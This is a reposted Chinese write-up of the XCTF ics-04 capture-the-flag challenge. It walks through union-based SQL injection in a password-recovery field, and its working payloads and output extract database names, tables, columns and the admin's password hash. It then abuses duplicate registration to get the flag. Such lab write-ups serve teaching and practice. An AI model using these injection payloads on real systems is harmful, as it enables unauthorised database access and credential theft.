XCTFics-04
Posted chalan630
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTFics-04相关的知识,希望对你有一定的参考价值。
信息:
题目来源:XCTF 4th-CyberEarth
题目描述:工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag
解题过程
进入注册页面,尝试注册:
进行登录:
提示普通用户登录无用,猜测需要使用管理员等用户登录,获取flag。
首先弱口令爆破(猜测考察弱口令的可能性小)。
无果,尝试使用sql注入。
对登录和注册的输入的逐一进行测试:
在找回密码处,发现输入漏洞:
在测试时还发现可以使用同一用户名重复注册。
进行显示位测试,发现第三项正常显示。
获取数据库名:
username = dmin‘ union select 1,2,(select group_concat(schema_name) from information_schema.schemata),4 #
[OUTPUT]:information_schema,cetc004,mysql,performance_schema
获取表名:
username = admin‘ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘cetc004‘),4 #
[OUTPUT]:user
获取字段名:
username= admin‘ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘cetc004‘ and table_name=‘user‘),4 #
[OUTPUT]:username,password,question,answer
获取用户名密码:
username= admin‘ union select 1,2,(select group_concat(username,‘~‘,password) from cetc004.user),4 #
[OUTPUT]:c3tlwDmIn23~2f8667f381ff50ced6a3edc259260ba9
再次注册c3tlwDmIn23
用户,密码随意,得到flag。
密码的MD5:2f8667f381ff50ced6a3edc259260ba9。
解密为:1qazWSXED56yhn8ujm9olk81wdfTG
以上是关于XCTFics-04的主要内容,如果未能解决你的问题,请参考以下文章